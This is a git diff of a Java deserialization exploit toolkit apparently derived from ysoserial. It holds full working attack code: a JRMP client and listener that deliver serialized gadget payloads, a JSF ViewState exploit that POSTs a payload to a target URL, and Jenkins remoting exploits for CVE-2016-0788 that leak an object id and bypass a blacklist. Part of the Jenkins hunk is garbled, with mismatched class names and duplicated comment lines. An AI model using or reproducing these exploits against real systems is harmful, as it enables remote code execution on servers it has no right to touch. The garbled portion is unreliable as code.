-
- OutputStream os = s.getOutputStream();
- dos = new DataOutputStream(os);
-
- dos.writeInt(TransportConstants.Magic);
- dos.writeShort(TransportConstants.Version);
- dos.writeByte(TransportConstants.SingleOpProtocol);
-
- dos.write(TransportConstants.Call);
-
- final ObjectOutputStream objOut = new MarshalOutputStream(dos);
-
- objOut.writeLong(2); // DGC
- objOut.writeInt(0);
- objOut.writeLong(0);
- objOut.writeShort(0);
-
- objOut.writeInt(1); // dirty
- objOut.writeLong(-669196253586618813L);
-
- objOut.writeObject(payloadObject);
-
- os.flush();
- } finally {
- if (dos != null) {
- dos.close();
- }
- if (s != null) {
- s.close();
- }
- }
- }
-
- static final class MarshalOutputStream extends ObjectOutputStream {
-
-
- private URL sendUrl;
-
- public MarshalOutputStream(OutputStream out, URL u) throws IOException {
- super(out);
- this.sendUrl = u;
- }
-
- MarshalOutputStream(OutputStream out) throws IOException {
- super(out);
- }
-
- @Override
- protected void annotateClass(Class cl) throws IOException {
- if (this.sendUrl != null) {
- writeObject(this.sendUrl.toString());
- } else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
- writeObject(null);
- } else {
- URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
- StringBuilder cb = new StringBuilder();
-
- for (URL u : us) {
- cb.append(u.toString());
- }
- writeObject(cb.toString());
- }
- }
-
-
- /**
- * Serializes a location from which to load the specified class.
- */
- @Override
- protected void annotateProxyClass(Class cl) throws IOException {
- annotateClass(cl);
- }
- }
-}
-
+package com.qi4l.JYso.exploit;
+
+import com.qi4l.JYso.gadgets.Config.ysoserial;
+import sun.rmi.transport.TransportConstants;
+
+import javax.net.SocketFactory;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+import java.net.*;
+
+/**
+ * Generic JRMP client
+ *
+ * Pretty much the same thing as {@link RMIBindExploit} but
+ * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
+ * - not deserializing anything (so you don't get yourself exploited ;))
+ *
+ * @author mbechler
+ */
+@SuppressWarnings({
+ "restriction"
+})
+public class JRMPClient {
+
+ public static void main(final String[] args) throws Exception {
+ if (args.length < 5) {
+ System.err.println(JRMPClient.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ String hostname = args[0];
+ int port = Integer.parseInt(args[1]);
+
+ // 去除前两个参数
+ String[] newArray = new String[args.length - 2];
+ System.arraycopy(args, 2, newArray, 0, newArray.length);
+
+ ysoserial.run(newArray);
+ Object payloadObject = ysoserial.PAYLOAD;
+
+ try {
+ System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port);
+ makeDGCCall(hostname, port, payloadObject);
+ } catch (Exception e) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+ public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException {
+ Socket s = null;
+ DataOutputStream dos = null;
+ try {
+ s = SocketFactory.getDefault().createSocket(hostname, port);
+ s.setKeepAlive(true);
+ s.setTcpNoDelay(true);
+
+ OutputStream os = s.getOutputStream();
+ dos = new DataOutputStream(os);
+
+ dos.writeInt(TransportConstants.Magic);
+ dos.writeShort(TransportConstants.Version);
+ dos.writeByte(TransportConstants.SingleOpProtocol);
+
+ dos.write(TransportConstants.Call);
+
+ final ObjectOutputStream objOut = new MarshalOutputStream(dos);
+
+ objOut.writeLong(2); // DGC
+ objOut.writeInt(0);
+ objOut.writeLong(0);
+ objOut.writeShort(0);
+
+ objOut.writeInt(1); // dirty
+ objOut.writeLong(-669196253586618813L);
+
+ objOut.writeObject(payloadObject);
+
+ os.flush();
+ } finally {
+ if (dos != null) {
+ dos.close();
+ }
+ if (s != null) {
+ s.close();
+ }
+ }
+ }
+
+ static final class MarshalOutputStream extends ObjectOutputStream {
+
+
+ private URL sendUrl;
+
+ public MarshalOutputStream(OutputStream out, URL u) throws IOException {
+ super(out);
+ this.sendUrl = u;
+ }
+
+ MarshalOutputStream(OutputStream out) throws IOException {
+ super(out);
+ }
+
+ @Override
+ protected void annotateClass(Class cl) throws IOException {
+ if (this.sendUrl != null) {
+ writeObject(this.sendUrl.toString());
+ } else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
+ writeObject(null);
+ } else {
+ URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
+ StringBuilder cb = new StringBuilder();
+
+ for (URL u : us) {
+ cb.append(u.toString());
+ }
+ writeObject(cb.toString());
+ }
+ }
+
+
+ /**
+ * Serializes a location from which to load the specified class.
+ */
+ @Override
+ protected void annotateProxyClass(Class cl) throws IOException {
+ annotateClass(cl);
+ }
+ }
+}
+
diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java
index d4c0dc6..621b54c 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java
@@ -1,289 +1,289 @@
-package com.qi4l.JYso.exploit;
-
-import com.qi4l.JYso.gadgets.Config.ysoserial;
-import com.qi4l.JYso.gadgets.utils.Reflections;
-import javassist.ClassClassPath;
-import javassist.ClassPool;
-import javassist.CtClass;
-import org.apache.logging.log4j.Logger;
-import org.apache.logging.log4j.LogManager;
-import sun.rmi.transport.TransportConstants;
-
-import javax.management.BadAttributeValueExpException;
-import javax.net.ServerSocketFactory;
-import java.io.*;
-import java.net.*;
-import java.rmi.MarshalException;
-import java.rmi.server.ObjID;
-import java.rmi.server.UID;
-import java.util.Arrays;
-
-/**
- * Generic JRMP listener
- *
- * Opens up an JRMP listener that will deliver the specified payload to any
- * client connecting to it and making a call.
- *
- * @author mbechler
- */
-@SuppressWarnings({
- "restriction"
-})
-public class JRMPListener implements Runnable {
-
- private static final Logger log = LogManager.getLogger(JRMPListener.class);
- private final int port;
-
- private final Object payloadObject;
-
- private final ServerSocket ss;
-
- private final Object waitLock = new Object();
-
- private boolean exit;
-
- private boolean hadConnection;
-
- private URL classpathUrl;
-
-
- public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
- this.port = port;
- this.payloadObject = payloadObject;
- this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
- }
-
- public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
- this.port = port;
- this.payloadObject = makeDummyObject(className);
- this.classpathUrl = classpathUrl;
- this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
- }
-
- public static void main(final String[] args) throws Exception {
- if (args.length < 5) {
- System.err.println(JRMPListener.class.getName() + " ");
- System.exit(-1);
- return;
- }
-
- // 去除第一个参数
- String[] newArray = new String[args.length - 1];
- System.arraycopy(args, 1, newArray, 0, newArray.length);
-
- ysoserial.run(newArray);
- final Object payloadObject = ysoserial.PAYLOAD;
-
- try {
- int port = Integer.parseInt(args[0]);
- System.err.println("* Opening JRMP listener on " + port);
- JRMPListener c = new JRMPListener(port, payloadObject);
- c.run();
- } catch (Exception e) {
- System.err.println("Listener error");
- e.printStackTrace(System.err);
- }
- }
-
- @SuppressWarnings({"deprecation"})
- protected static Object makeDummyObject(String className) {
- try {
- ClassLoader isolation = new ClassLoader() {
- };
- ClassPool cp = new ClassPool();
- cp.insertClassPath(new ClassClassPath(Dummy.class));
- CtClass clazz = cp.get(Dummy.class.getName());
- clazz.setName(className);
- return clazz.toClass(isolation).newInstance();
- } catch (Exception e) {
- log.error("e: ", e);
- return new byte[0];
- }
- }
-
- public void waitFor(int i) {
- try {
- if (this.hadConnection) {
- return;
- }
- System.err.println("Waiting for connection");
- synchronized (this.waitLock) {
- this.waitLock.wait(i);
- }
- } catch (InterruptedException ignored) {
- }
- }
-
- public void close() {
- this.exit = true;
- try {
- this.ss.close();
- } catch (IOException ignored) {
- }
- synchronized (this.waitLock) {
- this.waitLock.notify();
- }
- }
-
- public void run() {
- try {
- Socket s = null;
- try {
- while (!this.exit && (s = this.ss.accept()) != null) {
- try {
- s.setSoTimeout(5000);
- InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
- System.err.println("Have connection from " + remote);
-
- InputStream is = s.getInputStream();
- InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
-
- // Read magic (or HTTP wrapper)
- bufIn.mark(4);
- DataInputStream in = new DataInputStream(bufIn);
- int magic = in.readInt();
-
- short version = in.readShort();
- if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
- s.close();
- continue;
- }
-
- OutputStream sockOut = s.getOutputStream();
- BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
- DataOutputStream out = new DataOutputStream(bufOut);
-
- byte protocol = in.readByte();
- switch (protocol) {
- case TransportConstants.StreamProtocol:
- out.writeByte(TransportConstants.ProtocolAck);
- if (remote.getHostName() != null) {
- out.writeUTF(remote.getHostName());
- } else {
- out.writeUTF(remote.getAddress().toString());
- }
- out.writeInt(remote.getPort());
- out.flush();
- in.readUTF();
- in.readInt();
- case TransportConstants.SingleOpProtocol:
- doMessage(s, in, out, this.payloadObject);
- break;
- case TransportConstants.MultiplexProtocol:
- System.err.println("Unsupported protocol");
- s.close();
- continue;
- default:
- }
-
- bufOut.flush();
- out.flush();
- } catch (InterruptedException e) {
- return;
- } catch (Exception e) {
- e.printStackTrace(System.err);
- } finally {
- System.err.println("Closing connection");
- s.close();
- }
-
- }
-
- } finally {
- if (s != null) {
- s.close();
- }
- if (this.ss != null) {
- this.ss.close();
- }
- }
-
- } catch (SocketException ignored) {
- } catch (Exception e) {
- e.printStackTrace(System.err);
- }
- }
-
- private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
- System.err.println("Reading message...");
-
- int op = in.read();
-
- switch (op) {
- case TransportConstants.Call:
- // service incoming RMI call
- doCall(in, out, payload);
- break;
-
- case TransportConstants.Ping:
- // send ack for ping
- out.writeByte(TransportConstants.PingAck);
- break;
-
- case TransportConstants.DGCAck:
- break;
-
- default:
- throw new IOException("unknown transport op " + op);
- }
-
- s.close();
- }
-
- private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
- ObjectInputStream ois = new ObjectInputStream(in) {
-
- @Override
- protected Class resolveClass(ObjectStreamClass desc) throws IOException {
- if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
- return ObjID[].class;
- } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
- return ObjID.class;
- } else if ("java.rmi.server.UID".equals(desc.getName())) {
- return UID.class;
- }
- throw new IOException("Not allowed to read object");
- }
- };
-
- ObjID read;
- try {
- read = ObjID.read(ois);
- } catch (java.io.IOException e) {
- throw new MarshalException("unable to read objID", e);
- }
-
-
- if (read.hashCode() == 2) {
- ois.readInt(); // method
- ois.readLong(); // hash
- System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
- }
-
- System.err.println("Sending return with payload for obj " + read);
-
- out.writeByte(TransportConstants.Return);// transport op
- ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
-
- oos.writeByte(TransportConstants.ExceptionalReturn);
- new UID().write(oos);
-
- BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
- Reflections.setFieldValue(ex, "val", payload);
- oos.writeObject(ex);
-
- oos.flush();
- out.flush();
-
- this.hadConnection = true;
- synchronized (this.waitLock) {
- this.waitLock.notifyAll();
- }
- }
-
- public static class Dummy implements Serializable {
-
- private static final long serialVersionUID = 1L;
-
- }
-}
+package com.qi4l.JYso.exploit;
+
+import com.qi4l.JYso.gadgets.Config.ysoserial;
+import com.qi4l.JYso.gadgets.utils.Reflections;
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import org.apache.logging.log4j.Logger;
+import org.apache.logging.log4j.LogManager;
+import sun.rmi.transport.TransportConstants;
+
+import javax.management.BadAttributeValueExpException;
+import javax.net.ServerSocketFactory;
+import java.io.*;
+import java.net.*;
+import java.rmi.MarshalException;
+import java.rmi.server.ObjID;
+import java.rmi.server.UID;
+import java.util.Arrays;
+
+/**
+ * Generic JRMP listener
+ *
+ * Opens up an JRMP listener that will deliver the specified payload to any
+ * client connecting to it and making a call.
+ *
+ * @author mbechler
+ */
+@SuppressWarnings({
+ "restriction"
+})
+public class JRMPListener implements Runnable {
+
+ private static final Logger log = LogManager.getLogger(JRMPListener.class);
+ private final int port;
+
+ private final Object payloadObject;
+
+ private final ServerSocket ss;
+
+ private final Object waitLock = new Object();
+
+ private boolean exit;
+
+ private boolean hadConnection;
+
+ private URL classpathUrl;
+
+
+ public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
+ this.port = port;
+ this.payloadObject = payloadObject;
+ this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
+ }
+
+ public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
+ this.port = port;
+ this.payloadObject = makeDummyObject(className);
+ this.classpathUrl = classpathUrl;
+ this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
+ }
+
+ public static void main(final String[] args) throws Exception {
+ if (args.length < 5) {
+ System.err.println(JRMPListener.class.getName() + " ");
+ System.exit(-1);
+ return;
+ }
+
+ // 去除第一个参数
+ String[] newArray = new String[args.length - 1];
+ System.arraycopy(args, 1, newArray, 0, newArray.length);
+
+ ysoserial.run(newArray);
+ final Object payloadObject = ysoserial.PAYLOAD;
+
+ try {
+ int port = Integer.parseInt(args[0]);
+ System.err.println("* Opening JRMP listener on " + port);
+ JRMPListener c = new JRMPListener(port, payloadObject);
+ c.run();
+ } catch (Exception e) {
+ System.err.println("Listener error");
+ e.printStackTrace(System.err);
+ }
+ }
+
+ @SuppressWarnings({"deprecation"})
+ protected static Object makeDummyObject(String className) {
+ try {
+ ClassLoader isolation = new ClassLoader() {
+ };
+ ClassPool cp = new ClassPool();
+ cp.insertClassPath(new ClassClassPath(Dummy.class));
+ CtClass clazz = cp.get(Dummy.class.getName());
+ clazz.setName(className);
+ return clazz.toClass(isolation).newInstance();
+ } catch (Exception e) {
+ log.error("e: ", e);
+ return new byte[0];
+ }
+ }
+
+ public void waitFor(int i) {
+ try {
+ if (this.hadConnection) {
+ return;
+ }
+ System.err.println("Waiting for connection");
+ synchronized (this.waitLock) {
+ this.waitLock.wait(i);
+ }
+ } catch (InterruptedException ignored) {
+ }
+ }
+
+ public void close() {
+ this.exit = true;
+ try {
+ this.ss.close();
+ } catch (IOException ignored) {
+ }
+ synchronized (this.waitLock) {
+ this.waitLock.notify();
+ }
+ }
+
+ public void run() {
+ try {
+ Socket s = null;
+ try {
+ while (!this.exit && (s = this.ss.accept()) != null) {
+ try {
+ s.setSoTimeout(5000);
+ InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
+ System.err.println("Have connection from " + remote);
+
+ InputStream is = s.getInputStream();
+ InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
+
+ // Read magic (or HTTP wrapper)
+ bufIn.mark(4);
+ DataInputStream in = new DataInputStream(bufIn);
+ int magic = in.readInt();
+
+ short version = in.readShort();
+ if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
+ s.close();
+ continue;
+ }
+
+ OutputStream sockOut = s.getOutputStream();
+ BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
+ DataOutputStream out = new DataOutputStream(bufOut);
+
+ byte protocol = in.readByte();
+ switch (protocol) {
+ case TransportConstants.StreamProtocol:
+ out.writeByte(TransportConstants.ProtocolAck);
+ if (remote.getHostName() != null) {
+ out.writeUTF(remote.getHostName());
+ } else {
+ out.writeUTF(remote.getAddress().toString());
+ }
+ out.writeInt(remote.getPort());
+ out.flush();
+ in.readUTF();
+ in.readInt();
+ case TransportConstants.SingleOpProtocol:
+ doMessage(s, in, out, this.payloadObject);
+ break;
+ case TransportConstants.MultiplexProtocol:
+ System.err.println("Unsupported protocol");
+ s.close();
+ continue;
+ default:
+ }
+
+ bufOut.flush();
+ out.flush();
+ } catch (InterruptedException e) {
+ return;
+ } catch (Exception e) {
+ e.printStackTrace(System.err);
+ } finally {
+ System.err.println("Closing connection");
+ s.close();
+ }
+
+ }
+
+ } finally {
+ if (s != null) {
+ s.close();
+ }
+ if (this.ss != null) {
+ this.ss.close();
+ }
+ }
+
+ } catch (SocketException ignored) {
+ } catch (Exception e) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+ private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
+ System.err.println("Reading message...");
+
+ int op = in.read();
+
+ switch (op) {
+ case TransportConstants.Call:
+ // service incoming RMI call
+ doCall(in, out, payload);
+ break;
+
+ case TransportConstants.Ping:
+ // send ack for ping
+ out.writeByte(TransportConstants.PingAck);
+ break;
+
+ case TransportConstants.DGCAck:
+ break;
+
+ default:
+ throw new IOException("unknown transport op " + op);
+ }
+
+ s.close();
+ }
+
+ private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
+ ObjectInputStream ois = new ObjectInputStream(in) {
+
+ @Override
+ protected Class resolveClass(ObjectStreamClass desc) throws IOException {
+ if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
+ return ObjID[].class;
+ } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
+ return ObjID.class;
+ } else if ("java.rmi.server.UID".equals(desc.getName())) {
+ return UID.class;
+ }
+ throw new IOException("Not allowed to read object");
+ }
+ };
+
+ ObjID read;
+ try {
+ read = ObjID.read(ois);
+ } catch (java.io.IOException e) {
+ throw new MarshalException("unable to read objID", e);
+ }
+
+
+ if (read.hashCode() == 2) {
+ ois.readInt(); // method
+ ois.readLong(); // hash
+ System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
+ }
+
+ System.err.println("Sending return with payload for obj " + read);
+
+ out.writeByte(TransportConstants.Return);// transport op
+ ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
+
+ oos.writeByte(TransportConstants.ExceptionalReturn);
+ new UID().write(oos);
+
+ BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
+ Reflections.setFieldValue(ex, "val", payload);
+ oos.writeObject(ex);
+
+ oos.flush();
+ out.flush();
+
+ this.hadConnection = true;
+ synchronized (this.waitLock) {
+ this.waitLock.notifyAll();
+ }
+ }
+
+ public static class Dummy implements Serializable {
+
+ private static final long serialVersionUID = 1L;
+
+ }
+}
diff --git a/src/main/java/com/qi4l/JYso/exploit/JSF.java b/src/main/java/com/qi4l/JYso/exploit/JSF.java
index afc08fe..dcbb458 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JSF.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JSF.java
@@ -1,79 +1,79 @@
-package com.qi4l.JYso.exploit;
-
-import com.qi4l.JYso.gadgets.Config.ysoserial;
-import org.apache.commons.codec.binary.Base64;
-
-import java.io.ByteArrayOutputStream;
-import java.io.ObjectOutputStream;
-import java.io.OutputStream;
-import java.net.HttpURLConnection;
-import java.net.URL;
-import java.net.URLConnection;
-import java.net.URLEncoder;
-import java.nio.charset.StandardCharsets;
-
-
-/**
- * JSF view state exploit
- *
- * Delivers a gadget payload via JSF ViewState token.
- *
- * This will only work if ViewState encryption/mac is disabled.
- *
- * While it has been long known that client side state saving
- * with encryption disabled leads to RCE via EL injection,
- * this of course also works with deserialization gadgets.
- *
- * Also, it turns out that MyFaces is vulnerable to this even when
- * using server-side state saving
- * (yes, please, let's (de-)serialize a String as an Object).
- *
- * @author mbechler
- */
-public class JSF {
-
- public static void main(String[] args) {
-
- if (args.length < 3) {
- System.err.println(JSF.class.getName() + " ");
- System.exit(-1);
- }
-
- try {
- URL u = new URL(args[0]);
-
- // 去除前两个参数
- String[] newArray = new String[args.length - 1];
- System.arraycopy(args, 1, newArray, 0, newArray.length);
-
- ysoserial.run(newArray);
- Object payloadObject = ysoserial.PAYLOAD;
-
- URLConnection c = u.openConnection();
- if (!(c instanceof HttpURLConnection)) {
- throw new IllegalArgumentException("Not a HTTP url");
- }
-
- HttpURLConnection hc = (HttpURLConnection) c;
- hc.setDoOutput(true);
- hc.setRequestMethod("POST");
- hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
- OutputStream os = hc.getOutputStream();
-
- ByteArrayOutputStream bos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(bos);
- oos.writeObject(payloadObject);
- oos.close();
- byte[] data = bos.toByteArray();
- String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
- os.write(requestBody.getBytes(StandardCharsets.US_ASCII));
- os.close();
-
- System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
- } catch (Exception e) {
- e.printStackTrace(System.err);
- }
- }
-
-
-}
+package com.qi4l.JYso.exploit;
+
+import com.qi4l.JYso.gadgets.Config.ysoserial;
+import org.apache.commons.codec.binary.Base64;
+
+import java.io.ByteArrayOutputStream;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.net.URLConnection;
+import java.net.URLEncoder;
+import java.nio.charset.StandardCharsets;
+
+
+/**
+ * JSF view state exploit
+ *
+ * Delivers a gadget payload via JSF ViewState token.
+ *
+ * This will only work if ViewState encryption/mac is disabled.
+ *
+ * While it has been long known that client side state saving
+ * with encryption disabled leads to RCE via EL injection,
+ * this of course also works with deserialization gadgets.
+ *
+ * Also, it turns out that MyFaces is vulnerable to this even when
+ * using server-side state saving
+ * (yes, please, let's (de-)serialize a String as an Object).
+ *
+ * @author mbechler
+ */
+public class JSF {
+
+ public static void main(String[] args) {
+
+ if (args.length < 3) {
+ System.err.println(JSF.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ try {
+ URL u = new URL(args[0]);
+
+ // 去除前两个参数
+ String[] newArray = new String[args.length - 1];
+ System.arraycopy(args, 1, newArray, 0, newArray.length);
+
+ ysoserial.run(newArray);
+ Object payloadObject = ysoserial.PAYLOAD;
+
+ URLConnection c = u.openConnection();
+ if (!(c instanceof HttpURLConnection)) {
+ throw new IllegalArgumentException("Not a HTTP url");
+ }
+
+ HttpURLConnection hc = (HttpURLConnection) c;
+ hc.setDoOutput(true);
+ hc.setRequestMethod("POST");
+ hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
+ OutputStream os = hc.getOutputStream();
+
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ ObjectOutputStream oos = new ObjectOutputStream(bos);
+ oos.writeObject(payloadObject);
+ oos.close();
+ byte[] data = bos.toByteArray();
+ String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
+ os.write(requestBody.getBytes(StandardCharsets.US_ASCII));
+ os.close();
+
+ System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
+ } catch (Exception e) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+
+}
diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java
index eaba19e..b1a816b 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java
@@ -1,119 +1,119 @@
-package com.qi4l.JYso.exploit;
-
-import com.qi4l.JYso.gadgets.Config.ysoserial;
-import com.qi4l.JYso.gadgets.utils.Reflections;
-import hudson.remoting.Callable;
-import hudson.remoting.Channel;
-import hudson.remoting.Channel.Mode;
-import hudson.remoting.ChannelBuilder;
-import org.apache.logging.log4j.Logger;
-import org.apache.logging.log4j.LogManager;
-
-import javax.net.SocketFactory;
-import java.io.DataOutputStream;
-import java.io.IOException;
-import java.io.OutputStream;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.net.*;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-
-/**
- * Jenkins CLI client
- *
- * Jenkins unfortunately is still using a custom serialization based
- * protocol for remote communications only protected by a blacklisting
- * application level filter.
- *
+ * Jenkins unfortunately is still using a custom serialization based
+ * protocol for remote communications only protected by a blacklisting
+ * application level filter.
+ *
- * 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol.
- * 2. that payload causes the remote server to open up an JRMP listener (and export an object).
- * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
- *
- * Extra twist:
- * The well-known objects exported by the listener use the system classloader which usually
- * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
- * (which is using jenkins' classloader) that typically is properly randomized.
- * Fortunately - for the exploiting party - there is also a gadget that allows to leak
- * that identifier via an exception.
- *
- * @author mbechler
- */
-@SuppressWarnings({
- "restriction"
-})
-public class JenkinsListener {
-
- private static final Logger log = LogManager.getLogger(JenkinsListener.class);
-
- public static void main(final String[] args) {
-
- if (args.length < 5) {
- System.err.println(JenkinsListener.class.getName() + " ");
- System.exit(-1);
- }
-
- String jenkinsUrl = args[0];
- int jrmpPort = 12345;
-
- Channel c = null;
- try {
- InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
- c = JenkinsCLI.openChannel(isa);
-
- Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
- InvocationHandler remote = Proxy.getInvocationHandler(call);
- int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
-
- System.err.println("* JarLoader oid is " + oid);
-
- Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
-
- Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
-
- Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
-
- try {
- c.call((Callable) o);
- } catch (Exception e) {
- // [ActivationGroupImpl[UnicastServerRef [liveRef:
- // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
- // -9046794842107247609]]
-
- System.err.println(e.getMessage());
-
- parseObjIdAndExploit(args, jrmpPort, isa, e);
- }
-
- } catch (Throwable e) {
- log.error(String.valueOf(e));
- } finally {
- if (c != null) {
- try {
- c.close();
- } catch (IOException e) {
- e.printStackTrace(System.err);
- }
- }
- }
-
- }
-
-
- private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class reqClass)
- throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
- Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
- Reflections.setAccessible(reqCons);
- return reqCons
- .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
- uro,
- });
- }
-
-
- private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception {
- String msg = e.getMessage();
- int start = msg.indexOf("objID:[");
- if (start < 0) {
- throw new Exception("Failed to get object id");
- }
-
- int sep = msg.indexOf(", ", start + 1);
-
- if (sep < 0) {
- throw new Exception("Failed to get object id, separator");
- }
-
- int end = msg.indexOf("]", sep + 1);
-
- if (end < 0) {
- throw new Exception("Failed to get object id, separator");
- }
-
- String uid = msg.substring(start + 7, sep);
- String objNum = msg.substring(sep + 2, end);
-
- System.err.println("* UID is " + uid);
- System.err.println("* ObjNum is " + objNum);
-
- String[] parts = uid.split(":");
-
- long obj = Long.parseLong(objNum);
- int o1 = Integer.parseInt(parts[0], 16);
- long o2 = Long.parseLong(parts[1], 16);
- short o3 = Short.parseShort(parts[2], 16);
-
- exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
- }
-
-
- private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
- throws IOException {
- Socket s = null;
- DataOutputStream dos = null;
- try {
- System.err.println("* Opening JRMP socket " + isa);
- s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
- s.setKeepAlive(true);
- s.setTcpNoDelay(true);
-
- OutputStream os = s.getOutputStream();
- dos = new DataOutputStream(os);
-
- dos.writeInt(TransportConstants.Magic);
- dos.writeShort(TransportConstants.Version);
- dos.writeByte(TransportConstants.SingleOpProtocol);
-
- dos.write(TransportConstants.Call);
-
- final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
-
- objOut.writeLong(obj);
- objOut.writeInt(o1);
- objOut.writeLong(o2);
- objOut.writeShort(o3);
-
- objOut.writeInt(-1);
- objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
-
- // 去除前两个参数
- String[] newArray = new String[args.length - 2];
- System.arraycopy(args, 2, newArray, 0, newArray.length);
-
- ysoserial.run(newArray);
- Object payloadObject = ysoserial.PAYLOAD;
-
- objOut.writeObject(payloadObject);
- os.flush();
- } catch (Exception e) {
- e.printStackTrace(System.err);
- } finally {
- if (dos != null) {
- dos.close();
- }
- if (s != null) {
- s.close();
- }
- }
- }
-
-
-}
+package com.qi4l.JYso.exploit;
+
+import com.qi4l.JYso.gadgets.Config.ysoserial;
+import com.qi4l.JYso.gadgets.JRMPListener;
+import com.qi4l.JYso.gadgets.utils.Reflections;
+import hudson.remoting.Callable;
+import hudson.remoting.Channel;
+import hudson.remoting.JarLoader;
+import org.apache.logging.log4j.Logger;
+import org.apache.logging.log4j.LogManager;
+import sun.rmi.server.Util;
+import sun.rmi.transport.TransportConstants;
+
+import javax.net.SocketFactory;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+import java.lang.reflect.*;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.rmi.activation.ActivationDesc;
+import java.rmi.activation.ActivationID;
+import java.rmi.activation.ActivationInstantiator;
+
+
+/**
+ * CVE-2016-0788 exploit (1)
+ *
